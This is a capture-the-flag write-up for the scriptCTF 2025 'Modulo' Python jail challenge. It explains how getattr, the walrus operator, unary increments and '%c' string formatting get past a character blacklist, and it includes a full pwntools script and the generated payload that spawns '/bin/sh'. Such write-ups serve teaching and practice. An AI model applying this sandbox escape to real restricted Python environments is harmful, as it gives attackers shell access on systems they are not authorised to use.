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(English) scriptCTF 2025 - Python Jail

My write-up for Misc - Modulo (Python Jail) challenge

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By Chu Duc Anh
5 min read
(English) scriptCTF 2025 - Python Jail

About the challenge

Description: Modulo is so cool! (by @NoobMaster)

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# Challenge source
import ast
print("Welcome to the jail! You're never gonna escape!")
payload = input("Enter payload: ") # No uppercase needed
blacklist = list("abdefghijklmnopqrstuvwxyz1234567890\\;._")
for i in payload:
    assert ord(i) >= 32
    assert ord(i) <= 127
    assert (payload.count('>') + payload.count('<')) <= 1
    assert payload.count('=') <= 1
    assert i not in blacklist

tree = ast.parse(payload)
for node in ast.walk(tree):
    if isinstance(node, ast.BinOp):
        if not isinstance(node.op, ast.Mod): # Modulo because why not?
            raise ValueError("I don't like math :(")
exec(payload,{'__builtins__':{},'c':getattr}) # This is enough right?
print('Bye!')

Jail Restrictions

The provided server.py implements several layers of filtering:

  • Character Blacklist: All lowercase letters except c are forbidden, as well as digits, backslash, semicolon, period, and underscore.
  • Operator Restrictions: Only one < or > and one = are allowed in the payload.
  • AST Filtering: Only the modulo (%) binary operator is permitted; all other binary operations are blocked. This means we can’t do things like + or -. However, unary operations (like -~x) are allowed.
  • Builtins: The only available builtin is c, which is set to getattr. => These constraints severely limit the ability to use normal Python syntax, attribute access, and string/number literals.

If we had zero restrictions, we could do something like this to pop a shell! We’ll need to work around the restrictions though.

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__import__('os').system('/bin/sh')

Initial Reconnaissance

Available Primitives

  • c = getattr: This is the only accessible builtin, and it’s crucial for dynamic attribute access.
  • Uppercase Letters: All uppercase letters are allowed, enabling variable names and string construction. However, all lowercase letters are blocked, and pretty much every attribute needs a lowercase letter.
  • Modulo Operator: The % operator is allowed, which enables format string operations.
  • Unary Operators: Not filtered, so expressions like -~x (which increments x by 1) are usable.

Attribute Access

Since only c is available and all other lowercase letters are blocked, direct access to most attributes is impossible. However, getattr can be used to dynamically access attributes if their names can be constructed at runtime.

For example:

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getattr(os, 'system') == os.system

=> So our goal is to construct attribute names in the form of strings at runtime!

Building Strings and Numbers

Constructing Strings

  • Format Strings: The % operator allows constructing single characters: '%c' % 65 yields 'A'. This is the key of the challenge! Modulo operator being used to create characters! It’s quite similar to C-style format strings.
  • Arbitrary Strings: By chaining format strings, any string can be built: '%c%c%c' % (65,66,67) yields 'ABC'.

Constructing Integers

  • Boolean Comparison: The challenge allows one < or >, so '@' < 'A' yields True (which is 1 in Python).
  • Unary Increment: Using -~x repeatedly increments x by 1, so -~I is 2, -~-~I is 3, etc.

We got this because if we let x be an integer, we got:

  • Bitwise NOT => ~x = -x-1
  • Negate => -~x = x+1

Final Exploit Flow

1. Initialize a Variable to 1 (True)

Since only one comparison is allowed, use the walrus operator (:=) to assign the result of ('@' < 'A') (which evaluates to True, i.e. 1) to the variable I:

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(I := ('@' < 'A'))

In Python, True == 1 evaluates to True.

2. Build Arbitrary Integers

Define a helper function to construct any integer n using only I and the unary increment operator -~:

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def expr_for(n):
    return "-~" * (n-1) + "I"

Each -~ increases the value by 1, so -~-~I == 3.

3. Build Arbitrary Strings

Use %c%c%c... format strings to build any string:

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def string_expr(txt):
    fmt = "'" + "%c" * len(txt) + "'"
    exprs = ",".join(expr_for(ord(c)) for c in txt)
    if len(txt) == 1:
        exprs += ","
    return f"{fmt} % ({exprs})"

4. Dynamic Attribute Access

Use getattr(c, ...) to dynamically access attributes:

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def getattr_call(obj, attr):
    return f"c({obj},{string_expr(attr)})"

5. Chain Attribute Access to Reach os.system

  • Get __self__ from c to recover builtins.
  • Use getattr to get __import__.
  • Import os.
  • Get system from os.
  • Call system("/bin/sh").

6. Assemble the Final Payload

Combine all steps into a single tuple:

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PAYLOAD = f"({init},{step3})"

Here, init initializes I, and step3 launches the shell.

7. Final Exploit Script

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#!/usr/bin/env python3
from pwn import *

# ————————————————————————————————————————————————————————————————
# 0. Helpers – build integers & strings without digit literals
# ————————————————————————————————————————————————————————————————

BASE_VAR = "I"   # after the walrus, I == 1

def expr_for(n: int) -> str:
    if n < 1:
        raise ValueError("n must be >= 1")
    if n == 1:
        return BASE_VAR
    return "-~" * (n-1) + BASE_VAR

def char_expr(ch: str) -> str:
    code = expr_for(ord(ch))
    return f"'%c' % ({code})"

def string_expr(txt: str) -> str:
    fmt = "'" + "%c" * len(txt) + "'"
    exprs = ",".join(expr_for(ord(c)) for c in txt)
    if len(txt) == 1:
        exprs += ","
    return f"{fmt} % ({exprs})"

def getattr_call(obj: str, attr: str) -> str:
    return f"c({obj},{string_expr(attr)})"


# ————————————————————————————————————————————————————————————————
# 1. Build the one‐line exploit payload
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init = f"(I:=('@'<'A'))"

g_name   = string_expr("__globals__")
b_name   = string_expr("__builtins__")
imp_name = string_expr("__import__")
os_mod   = string_expr("os")
sys_name = string_expr("system")
sh_str   = string_expr("/bin/sh")

step1 = getattr_call("c", "__self__")
step2 = f"c({step1},{imp_name})({os_mod})"
step3 = f"c({step2},{sys_name})({sh_str})"

PAYLOAD = f"({init},{step3})"

BLACK = set("abdefghijklmnopqrstuvwxyz1234567890\\;._")
assert not [ch for ch in PAYLOAD if ch in BLACK], "Leaked a forbidden char!"
assert PAYLOAD.count('<') + PAYLOAD.count('>') == 1, "Wrong count of < or >"
assert PAYLOAD.count('=') == 1, "Wrong count of ="

print(f"→ Generated payload (length {len(PAYLOAD)}):\n")
print(PAYLOAD)

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# 2. Solve the chall!
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p = remote("play.scriptsorcerers.xyz", 10480)

p.recvuntil("Enter payload: ")
p.sendline(PAYLOAD.encode())
p.interactive()

Final Payload

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((I:=('@'<'A')),c(c(c(c,'%c%c%c%c%c%c%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I)),'%c%c%c%c%c%c%c%c%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I))('%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I)),'%c%c%c%c%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I))('%c%c%c%c%c%c%c' % (-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I,-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~I)))
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